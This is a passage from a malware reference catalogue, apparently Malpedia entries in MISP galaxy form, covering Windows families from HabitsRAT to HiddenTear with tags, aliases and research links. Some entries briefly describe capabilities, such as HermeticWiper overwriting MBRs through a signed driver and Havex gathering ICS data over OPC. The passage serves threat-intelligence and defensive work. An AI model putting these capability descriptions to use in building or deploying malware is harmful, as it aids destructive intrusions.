<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.h1n1">https://malpedia.caad.fkie.fraunhofer.de/details/win.h1n1</a></td>
</tr>
</tbody>
</table>

**HabitsRAT (Windows)**

The tag is: `misp-galaxy:malpedia="HabitsRAT (Windows)"

**HabitsRAT (Windows)** is also known as:

**Table 3190. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Hacksfase**

The tag is: `misp-galaxy:malpedia="Hacksfase"`
Hacksfase is also known as:

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.hacksfase">https://malpedia.caad.fkie.fraunhofer.de/details/win.hacksfase</a></td>
</tr>
</tbody>
</table>

**HackSpy**

Py2Exe based tool as found on github.

The tag is: *misp-galaxy:malpedia="HackSpy"

HackSpy is also known as:

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.hackspy">https://malpedia.caad.fkie.fraunhofer.de/details/win.hackspy</a></td>
</tr>
<tr>
<td><a href="https://github.com/ratty3697/HackSpy-Trojan-Exploit">https://github.com/ratty3697/HackSpy-Trojan-Exploit</a></td>
</tr>
</tbody>
</table>

**Hades**

According to PCrisk, Hades Locker is an updated version of WildFire Locker ransomware that infiltrates systems and encrypts a variety of data types using AES encryption. Hades Locker appends the names of encrypted files with the "~HL[5_random_characters] (first 5 characters of encryption password)" extension.

The tag is: *misp-galaxy:malpedia="Hades"

Hades is also known as:

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.hades">https://malpedia.caad.fkie.fraunhofer.de/details/win.hades</a></td>
</tr>
<tr>
<td><a href="https://awakesecurity.com/blog/incident-response-hades-ransomware-gang-or-hafnium/">https://awakesecurity.com/blog/incident-response-hades-ransomware-gang-or-hafnium/</a></td>
</tr>
</tbody>
</table>
Hakbit

Hakbit ransomware is written in .NET. It uploads (some) files to be encrypted to a ftp-server. The ransom note is embedded - in earlier versions as plain string, then as base64 string. In some versions, these strings are slightly obfuscated.

Contact is via an email address hosted on protonmail. Hakbit (original) had hakbit@, more recent "KiraLock" has kiraransom@ (among others of course).

The tag is: misp-galaxy:malpedia="Hakbit"

Hakbit is also known as:

• Thanos Ransomware

Table 3194. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.hakbit">https://malpedia.caad.fkie.fraunhofer.de/details/win.hakbit</a></td>
</tr>
<tr>
<td><a href="https://www.cybereason.com/blog/cybereason-vs.-prometheus-ransomware">https://www.cybereason.com/blog/cybereason-vs.-prometheus-ransomware</a></td>
</tr>
<tr>
<td><a href="https://medium.com/s2wlab/quick-analysis-of-haron-ransomware-feat-avaddon-and-thanos-1ebb70f64dc4">https://medium.com/s2wlab/quick-analysis-of-haron-ransomware-feat-avaddon-and-thanos-1ebb70f64dc4</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/cis-ransomware/104452/">https://securelist.com/cis-ransomware/104452/</a></td>
</tr>
</tbody>
</table>
HALFRIG

A stager used by APT29 to deploy CobaltStrike.

The tag is: misp-galaxy:malpedia="HALFRIG"

HALFRIG is also known as:

Table 3195. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.halfrig">https://malpedia.caad.fkie.fraunhofer.de/details/win.halfrig</a></td>
</tr>
<tr>
<td><a href="https://www.gov.pl/attachment/64193e8d-05e2-4cbf-bb4c-5f58da21fefb">https://www.gov.pl/attachment/64193e8d-05e2-4cbf-bb4c-5f58da21fefb</a></td>
</tr>
</tbody>
</table>
Hamweq

The tag is: misp-galaxy:malpedia="Hamweq"

Hamweq is also known as:

Table 3196. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.hamweq">https://malpedia.caad.fkie.fraunhofer.de/details/win.hamweq</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=FAFuSO9oA10">https://www.youtube.com/watch?v=FAFuSO9oA10</a></td>
</tr>
<tr>
<td><a href="https://blag.nullteilerfrei.de/2020/05/31/string-obfuscation-in-the-hamweq-irc-bot/">https://blag.nullteilerfrei.de/2020/05/31/string-obfuscation-in-the-hamweq-irc-bot/</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=JPvcLLYR0tE">https://www.youtube.com/watch?v=JPvcLLYR0tE</a></td>
</tr>
</tbody>
</table>

Hancitor

Hancitor(aka Chanitor) emerged in 2013 which spread via social engineering techniques mainly through phishing mails embedded with malicious link and weaponized Microsoft office document contains malicious macro in it.

The tag is: misp-galaxy:malpedia="Hancitor"

Hancitor is also known as:

- Chanitor

Table 3197. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.hancitor">https://malpedia.caad.fkie.fraunhofer.de/details/win.hancitor</a></td>
</tr>
<tr>
<td><a href="https://www.0ffset.net/reverse-engineering/malware-analysis/hancitor-maldoc-analysis/">https://www.0ffset.net/reverse-engineering/malware-analysis/hancitor-maldoc-analysis/</a></td>
</tr>
<tr>
<td><a href="https://thedfirreport.com/2021/11/01/from-zero-to-domain-admin/">https://thedfirreport.com/2021/11/01/from-zero-to-domain-admin/</a></td>
</tr>
<tr>
<td><a href="https://isc.sans.edu/diary/rss/27618">https://isc.sans.edu/diary/rss/27618</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/wireshark-tutorial-hancitor-followup-malware/">https://unit42.paloaltonetworks.com/wireshark-tutorial-hancitor-followup-malware/</a></td>
</tr>
<tr>
<td><a href="https://www.0ffset.net/reverse-engineering/malware-analysis/hancitor-analysing-the-main-loader/">https://www.0ffset.net/reverse-engineering/malware-analysis/hancitor-analysing-the-main-loader/</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/hancitor-infections-cobalt-strike/">https://unit42.paloaltonetworks.com/hancitor-infections-cobalt-strike/</a></td>
</tr>
</tbody>
</table>
HappyLocker (HiddenTear?)

The tag is: misp-galaxy:malpedia="HappyLocker (HiddenTear?)"

HappyLocker (HiddenTear?) is also known as:

Table 3198. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.happy_locker">https://malpedia.caad.fkie.fraunhofer.de/details/win.happy_locker</a></td>
</tr>
</tbody>
</table>

HARDRAIN (Windows)

The tag is: misp-galaxy:malpedia="HARDRAIN (Windows)"

HARDRAIN (Windows) is also known as:

Table 3199. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.hardrain">https://malpedia.caad.fkie.fraunhofer.de/details/win.hardrain</a></td>
</tr>
</tbody>
</table>

Harnig

The tag is: misp-galaxy:malpedia="Harnig"

Harnig is also known as:

• Piptea

Table 3200. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.harnig">https://malpedia.caad.fkie.fraunhofer.de/details/win.harnig</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2011/08/harnig-is-back.html">https://www.fireeye.com/blog/threat-research/2011/08/harnig-is-back.html</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2011/03/a-retreating-army.html">https://www.fireeye.com/blog/threat-research/2011/03/a-retreating-army.html</a></td>
</tr>
</tbody>
</table>
Haron Ransomware

The tag is: misp-galaxy:malpedia="Haron Ransomware"

Haron Ransomware is also known as:

Table 3201. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.haron">https://malpedia.caad.fkie.fraunhofer.de/details/win.haron</a></td>
</tr>
<tr>
<td><a href="https://medium.com/walmartglobaltech/decoding-smartassembly-strings-a-haron-ransomware-case-study-9d0c5af7080b">https://medium.com/walmartglobaltech/decoding-smartassembly-strings-a-haron-ransomware-case-study-9d0c5af7080b</a></td>
</tr>
<tr>
<td><a href="https://threatpost.com/ransomware-gangs-haron-blackmatter/168212/">https://threatpost.com/ransomware-gangs-haron-blackmatter/168212/</a></td>
</tr>
</tbody>
</table>

HavanaCrypt

The tag is: misp-galaxy:malpedia="HavanaCrypt"

HavanaCrypt is also known as:

Table 3202. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.havana_crypt">https://malpedia.caad.fkie.fraunhofer.de/details/win.havana_crypt</a></td>
</tr>
</tbody>
</table>

Havex RAT

Havex is a remote access trojan (RAT) that was discovered in 2013 as part of a widespread espionage campaign targeting industrial control systems (ICS) used across numerous industries and attributed to a hacking group referred to as "Dragonfly" and "Energetic Bear". Havex is estimated to have impacted thousands of infrastructure sites, a majority of which were located in Europe and the United States. Within the energy sector, Havex specifically targeted energy grid operators, major electricity generation firms, petroleum pipeline operators, and industrial equipment providers. Havex also impacted organizations in the aviation, defense, pharmaceutical, and petrochemical industries.

Once installed, Havex scanned the infected system to locate any Supervisory Control and Data Acquisition (SCADA) or ICS devices on the network and sent the data back to command and control servers. To do so, the malware leveraged the Open Platform Communications (OPC) standard, which is a universal communication protocol used by ICS components across many industries that facilitates open connectivity and vendor equipment interoperability. Havex used the Distributed Component Object Model (DCOM) to connect to OPC servers inside of an ICS network and collect information such as CLSID, server name, Program ID, OPC version, vendor information, running state, group count, and server bandwidth.
Havex was an intelligence-collection tool used for espionage and not for the disruption or destruction of industrial systems. However, the data collected by Havex would have aided efforts to design and develop attacks against specific targets or industries.

The tag is: *misp-galaxy:malpedia="Havex RAT"

Havex RAT is also known as:

**Table 3203. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.havex_rat">https://malpedia.caad.fkie.fraunhofer.de/details/win.havex_rat</a></td>
</tr>
<tr>
<td><a href="https://www.cisa.gov/uscert/ncas/alerts/aa22-083a">https://www.cisa.gov/uscert/ncas/alerts/aa22-083a</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/iron-liberty">https://www.secureworks.com/research/threat-profiles/iron-liberty</a></td>
</tr>
<tr>
<td><a href="https://pylos.co/2020/11/04/the-enigmatic-energetic-bear/">https://pylos.co/2020/11/04/the-enigmatic-energetic-bear/</a></td>
</tr>
</tbody>
</table>

**Havoc**

Havoc is a modern and malleable post-exploitation command and control framework, created by @C5pider.

The tag is: *misp-galaxy:malpedia="Havoc"

Havoc is also known as:

- Havokiz

**Table 3204. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.havoc">https://malpedia.caad.fkie.fraunhofer.de/details/win.havoc</a></td>
</tr>
<tr>
<td><a href="https://github.com/HavocFramework/Havoc">https://github.com/HavocFramework/Havoc</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/embee_research/status/1579668721777643520?s=20&amp;t=nDJOv1Yf5mQZKCou7qMrhQ">https://twitter.com/embee_research/status/1579668721777643520?s=20&amp;t=nDJOv1Yf5mQZKCou7qMrhQ</a></td>
</tr>
</tbody>
</table>
HAWKBALL

HAWKBALL is a backdoor that attackers can use to collect information from the victim, as well as to deliver payloads. HAWKBALL is capable of surveying the host, creating a named pipe to execute native Windows commands, terminating processes, creating, deleting and uploading files, searching for files, and enumerating drives.

The tag is: misp-galaxy:malpedia="HAWKBALL"

HAWKBALL is also known as:

Table 3205. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.hawkball

HawkEye Keylogger

HawKeye is a keylogger that is distributed since 2013. Discovered by IBM X-Force, it is currently spread over phishing campaigns targeting businesses on a worldwide scale. It is designed to steal credentials from numerous applications but, in the last observed versions, new "loader capabilities" have been spotted. It is sold by its development team on dark web markets and hacking forums.

The tag is: misp-galaxy:malpedia="HawkEye Keylogger"

HawkEye Keylogger is also known as:

• HawKeye
• HawKeye Reborn
• Predator Pain

Table 3206. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.hawkeye_keylogger

http://www.secureworks.com/research/threat-profiles/gold-galleon

HDMR

HDMR is a ransomware which encrypts user files and adds a .DMR64 extension. It also drops a ransom note named: "!!! READ THIS !!!hta".

The tag is: *misp-galaxy:malpedia="HDMR"

HDMR is also known as:

- GO-SPORT

*Table 3207. Table References*
HDRoot

The tag is: misp-galaxy:malpedia="HDRoot"

HDRoot is also known as:

Table 3208. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.hdroot">https://malpedia.caad.fkie.fraunhofer.de/details/win.hdroot</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/i-am-hdroot-part-1/72275/">https://securelist.com/i-am-hdroot-part-1/72275/</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/i-am-hdroot-part-2/72356/">https://securelist.com/i-am-hdroot-part-2/72356/</a></td>
</tr>
</tbody>
</table>

HeaderTip

The Chinese threat actor "Scarab" is using a custom backdoor dubbed "HeaderTip" according to SentinelLABS. This malware may be the successor of "Scieron".

The tag is: misp-galaxy:malpedia="HeaderTip"

HeaderTip is also known as:

Table 3209. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.headertip">https://malpedia.caad.fkie.fraunhofer.de/details/win.headertip</a></td>
</tr>
<tr>
<td><a href="https://cert.gov.ua/article/38097">https://cert.gov.ua/article/38097</a></td>
</tr>
<tr>
<td><a href="https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-headertip">https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-headertip</a></td>
</tr>
</tbody>
</table>

Helauto

The tag is: misp-galaxy:malpedia="Helauto"

Helauto is also known as:
### HelloBot (Windows)

The tag is: `misp-galaxy:malpedia="HelloBot (Windows)"

HelloBot (Windows) is also known as:

### HelloKitty (Windows)

Unit42 states that HelloKitty is a ransomware family that first surfaced at the end of 2020, primarily targeting Windows systems. The malware family got its name due to its use of a Mutex with the same name: HelloKittyMutex. The ransomware samples seem to evolve quickly and frequently, with different versions making use of the .crypted or .kitty file extensions for encrypted files. Some newer samples make use of a Golang packer that ensures the final ransomware code is only loaded in memory, most likely to evade detection by security solutions.

The tag is: `misp-galaxy:malpedia="HelloKitty (Windows)"

HelloKitty (Windows) is also known as:

- KittyCrypt
Helminth

The tag is: misp-galaxy:malpedia="Helminth"

Helminth is also known as:

Table 3213. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.helminth">https://malpedia.caad.fkie.fraunhofer.de/details/win.helminth</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/dns-tunneling-in-the-wild-overview-of-oilrigs-dns-tunneling/">https://unit42.paloaltonetworks.com/dns-tunneling-in-the-wild-overview-of-oilrigs-dns-tunneling/</a></td>
</tr>
<tr>
<td><a href="https://blog.morphisec.com/iranian-fileless-cyberattack-on-israel-word-vulnerability">https://blog.morphisec.com/iranian-fileless-cyberattack-on-israel-word-vulnerability</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/cobalt-gypsy">https://www.secureworks.com/research/threat-profiles/cobalt-gypsy</a></td>
</tr>
</tbody>
</table>
### Heloag

The tag is: `misp-galaxy:malpedia="Heloag"`

Heloag is also known as:

**Table 3214. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.heloag">https://malpedia.caad.fkie.fraunhofer.de/details/win.heloag</a></td>
</tr>
</tbody>
</table>

### Herbst

The tag is: `misp-galaxy:malpedia="Herbst"`

Herbst is also known as:

**Table 3215. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.herbst">https://malpedia.caad.fkie.fraunhofer.de/details/win.herbst</a></td>
</tr>
<tr>
<td><a href="https://blog.fortinet.com/2016/06/03/cooking-up-autumn-herbst-ransomware">https://blog.fortinet.com/2016/06/03/cooking-up-autumn-herbst-ransomware</a></td>
</tr>
</tbody>
</table>

### Heriplor

The tag is: `misp-galaxy:malpedia="Heriplor"`

Heriplor is also known as:

**Table 3216. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.heriplor">https://malpedia.caad.fkie.fraunhofer.de/details/win.heriplor</a></td>
</tr>
</tbody>
</table>
Hermes

The tag is: misp-galaxy:malpedia="Hermes"

Hermes is also known as:

Table 3217. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.hermes
https://medium.com/ax1al/reversing-ryuk-eef8fffd55f12
http://baesystemsai.blogspot.de/2017/10/taiwan-heist-lazarus-tools.html
https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/
https://www.youtube.com/watch?v=9nuo-AGg4p4

HermeticWiper

According to SentinelLabs, HermeticWiper is a custom-written application with very few standard functions. It abuses a signed driver called "empntdrv.sys" which is associated with the legitimate Software "EaseUS Partition Master Software" to enumerate the MBR and all partitions of all Physical Drives connected to the victims Windows Device and overwrite the first 512 Bytes of every MBR and Partition it can find, rendering them useless. This malware is associated to the malware attacks against Ukraine during Russians Invasion in February 2022.

The tag is: misp-galaxy:malpedia="HermeticWiper"
HermeticWiper is also known as:

- DriveSlayer
- FoxBlade
- KillDisk.NCV
- NEARMISS

Table 3218. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.hermeticwiper">https://malpedia.caad.fkie.fraunhofer.de/details/win.hermeticwiper</a></td>
</tr>
<tr>
<td><a href="https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine/">https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine/</a></td>
</tr>
<tr>
<td><a href="https://inquest.net/blog/2022/04/07/ukraine-cyberwar-overview">https://inquest.net/blog/2022/04/07/ukraine-cyberwar-overview</a></td>
</tr>
<tr>
<td><a href="https://www.fortinet.com/blog/threat-research/the-increasing-wiper-malware-threat">https://www.fortinet.com/blog/threat-research/the-increasing-wiper-malware-threat</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/preparing-for-cyber-impact-russia-ukraine-crisis/">https://unit42.paloaltonetworks.com/preparing-for-cyber-impact-russia-ukraine-crisis/</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/information-operations-surrounding-ukraine">https://www.mandiant.com/resources/information-operations-surrounding-ukraine</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/threatintel/status/1496578746014437376">https://twitter.com/threatintel/status/1496578746014437376</a></td>
</tr>
<tr>
<td><a href="https://eclypsium.com/2022/06/02/conti-targets-critical-firmware/">https://eclypsium.com/2022/06/02/conti-targets-critical-firmware/</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=sUlW45c9izU">https://www.youtube.com/watch?v=sUlW45c9izU</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine/">https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine/</a></td>
</tr>
<tr>
<td><a href="https://www.nextgov.com/cybersecurity/2022/03/ukrainian-cyber-lead-least-4-types-malware-are-targeting-ukrainian-institutions/363558/">https://www.nextgov.com/cybersecurity/2022/03/ukrainian-cyber-lead-least-4-types-malware-are-targeting-ukrainian-institutions/363558/</a></td>
</tr>
<tr>
<td><a href="https://threatpost.com/microsoft-ukraine-foxblade-trojan-hours-before-russian-invasion/178702/">https://threatpost.com/microsoft-ukraine-foxblade-trojan-hours-before-russian-invasion/178702/</a></td>
</tr>
<tr>
<td><a href="https://www.cisa.gov/uscert/ncas/alerts/aa22-057a">https://www.cisa.gov/uscert/ncas/alerts/aa22-057a</a></td>
</tr>
<tr>
<td>Link</td>
</tr>
<tr>
<td>---------------------------------------------------------------------</td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/blog/disruptive-hermeticwiper-attacks-targeting-ukrainian-organizations">https://www.secureworks.com/blog/disruptive-hermeticwiper-attacks-targeting-ukrainian-organizations</a></td>
</tr>
<tr>
<td><a href="https://elastic.github.io/security-research/intelligence/2022/03/01.hermeticwiper-targets-ukraine/article/">https://elastic.github.io/security-research/intelligence/2022/03/01.hermeticwiper-targets-ukraine/article/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/fr0gger_/status/1497121876870832128">https://twitter.com/fr0gger_/status/1497121876870832128</a></td>
</tr>
<tr>
<td><a href="https://mandiant.widen.net/s/pkffwrbljlz/m-trends-2023">https://mandiant.widen.net/s/pkffwrbljlz/m-trends-2023</a></td>
</tr>
<tr>
<td><a href="https://securityboulevard.com/2022/03/isaacwiper-followed-hermeticwiper-attack-on-ukraine-orgs/">https://securityboulevard.com/2022/03/isaacwiper-followed-hermeticwiper-attack-on-ukraine-orgs/</a></td>
</tr>
<tr>
<td><a href="https://www.kaspersky.com/blog/hermeticransom-hermeticwiper-attacks-2022/43825/">https://www.kaspersky.com/blog/hermeticransom-hermeticwiper-attacks-2022/43825/</a></td>
</tr>
<tr>
<td><a href="https://www.zscaler.com/blogs/security-research/hermeticwiper-resurgence-targeted-attacks-ukraine">https://www.zscaler.com/blogs/security-research/hermeticwiper-resurgence-targeted-attacks-ukraine</a></td>
</tr>
<tr>
<td><a href="https://www.englert.one/hermetic-wiper-reverse-code-engineering">https://www.englert.one/hermetic-wiper-reverse-code-engineering</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/russia-invasion-ukraine-retaliation">https://www.mandiant.com/resources/russia-invasion-ukraine-retaliation</a></td>
</tr>
<tr>
<td><a href="https://www.sentineline.com/labs/hermetic-wiper-ukraine-under-attack/">https://www.sentineline.com/labs/hermetic-wiper-ukraine-under-attack/</a></td>
</tr>
<tr>
<td><a href="https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine">https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine</a></td>
</tr>
<tr>
<td><a href="https://cybersecurity.att.com/blogs/labs-research/analysis-on-recent-wiper-attacks-examples-and-how-they-wiper-malware-works">https://cybersecurity.att.com/blogs/labs-research/analysis-on-recent-wiper-attacks-examples-and-how-they-wiper-malware-works</a></td>
</tr>
<tr>
<td><a href="https://blog.qualys.com/vulnerabilities-threat-research/2022/03/01/ukrainian-targets-hit-by-hermeticwiper-new-datawiper-malware">https://blog.qualys.com/vulnerabilities-threat-research/2022/03/01/ukrainian-targets-hit-by-hermeticwiper-new-datawiper-malware</a></td>
</tr>
<tr>
<td>URL</td>
</tr>
<tr>
<td>----------------------------------------------------------------------</td>
</tr>
<tr>
<td><a href="https://www.deepinstinct.com/blog/hermeticwiper-malware-the-russian-ukrainian-cyber-war">https://www.deepinstinct.com/blog/hermeticwiper-malware-the-russian-ukrainian-cyber-war</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/Sebdraven/status/1496878431719473155">https://twitter.com/Sebdraven/status/1496878431719473155</a></td>
</tr>
<tr>
<td><a href="https://eln0ty.github.io/malware%20analysis/HermeticWiper/">https://eln0ty.github.io/malware%20analysis/HermeticWiper/</a></td>
</tr>
<tr>
<td><a href="https://community.riskiq.com/article/9f59cb85">https://community.riskiq.com/article/9f59cb85</a></td>
</tr>
<tr>
<td><a href="https://cyberpeaceinstitute.org/ukraine-timeline-of-cyberattacks">https://cyberpeaceinstitute.org/ukraine-timeline-of-cyberattacks</a></td>
</tr>
<tr>
<td><a href="https://thehackernews.com/2022/02/putin-warns-russian-critical.html">https://thehackernews.com/2022/02/putin-warns-russian-critical.html</a></td>
</tr>
<tr>
<td><a href="https://www.brighttalk.com/webcast/15591/534324">https://www.brighttalk.com/webcast/15591/534324</a></td>
</tr>
<tr>
<td><a href="https://blogs.microsoft.com/on-the-issues/2022/12/03/preparing-russian-cyber-offensive-ukraine/">https://blogs.microsoft.com/on-the-issues/2022/12/03/preparing-russian-cyber-offensive-ukraine/</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=mrTdSdMMgnk">https://www.youtube.com/watch?v=mrTdSdMMgnk</a></td>
</tr>
<tr>
<td><a href="https://blog.nviso.eu/2022/02/24/threat-update-ukraine-russia-tensions/">https://blog.nviso.eu/2022/02/24/threat-update-ukraine-russia-tensions/</a></td>
</tr>
<tr>
<td><a href="https://marcoramilli.com/2022/03/01/diskkill-hermeticwiper-and-notpetya-dissimilarities/">https://marcoramilli.com/2022/03/01/diskkill-hermeticwiper-and-notpetya-dissimilarities/</a></td>
</tr>
</tbody>
</table>
HermeticWizard
The tag is: misc-galaxy:malpedia="HermeticWizard"

HermeticWizard is also known as:

Table 3219. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.hermeticwizard">https://malpedia.caad.fkie.fraunhofer.de/details/win.hermeticwizard</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/ET_Labs/status/1502494650640351236">https://twitter.com/ET_Labs/status/1502494650640351236</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/silascutler/status/1501668345640366091">https://twitter.com/silascutler/status/1501668345640366091</a></td>
</tr>
<tr>
<td><a href="https://inquest.net/blog/2022/04/07/ukraine-cyberwar-overview">https://inquest.net/blog/2022/04/07/ukraine-cyberwar-overview</a></td>
</tr>
<tr>
<td><a href="https://www.brighttalk.com/webcast/15591/534324">https://www.brighttalk.com/webcast/15591/534324</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=mrTdSdMMgnk">https://www.youtube.com/watch?v=mrTdSdMMgnk</a></td>
</tr>
</tbody>
</table>

HerpesBot
The tag is: misc-galaxy:malpedia="HerpesBot"

HerpesBot is also known as:

Table 3220. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.herpes">https://malpedia.caad.fkie.fraunhofer.de/details/win.herpes</a></td>
</tr>
</tbody>
</table>

HesperBot
The tag is: misc-galaxy:malpedia="HesperBot"

HesperBot is also known as:

Table 3221. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.hesperbot">https://malpedia.caad.fkie.fraunhofer.de/details/win.hesperbot</a></td>
</tr>
</tbody>
</table>

heyoka
The tag is: misc-galaxy:malpedia="heyoka"

heyoka is also known as:

Table 3222. Table References
HiAsm

The tag is: *misp-galaxy:malpedia=*"HiAsm"

HiAsm is also known as:

*Table 3223. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.hiasm">https://malpedia.caad.fkie.fraunhofer.de/details/win.hiasm</a></td>
</tr>
<tr>
<td><a href="https://fortiguard.fortinet.com/encyclopedia/virus/6488677">https://fortiguard.fortinet.com/encyclopedia/virus/6488677</a></td>
</tr>
</tbody>
</table>

Hidden Bee

The tag is: *misp-galaxy:malpedia=*"Hidden Bee"

Hidden Bee is also known as:

*Table 3224. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.hiddenbee">https://malpedia.caad.fkie.fraunhofer.de/details/win.hiddenbee</a></td>
</tr>
<tr>
<td><a href="https://www.freebuf.com/column/174581.html">https://www.freebuf.com/column/174581.html</a></td>
</tr>
<tr>
<td><a href="https://www.freebuf.com/column/175106.html">https://www.freebuf.com/column/175106.html</a></td>
</tr>
</tbody>
</table>
**HiddenTear**

HiddenTear is an open source ransomware developed by a Turkish programmer and later released as proof of concept on GitHub. The malware generates a local symmetric key in order to encrypt a configurable folder (/test was the default one) and it sends it to a centralized C&C server. Due to its small payload it was used as real attack vector over email phishing campaigns. Variants are still used in attacks.

The tag is: misp-galaxy:malpedia="HiddenTear"

HiddenTear is also known as:

- FuckUnicorn

**Table 3225. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.hiddentear">https://malpedia.caad.fkie.fraunhofer.de/details/win.hiddentear</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/struppigel/status/950787783353884672">https://twitter.com/struppigel/status/950787783353884672</a></td>
</tr>
<tr>
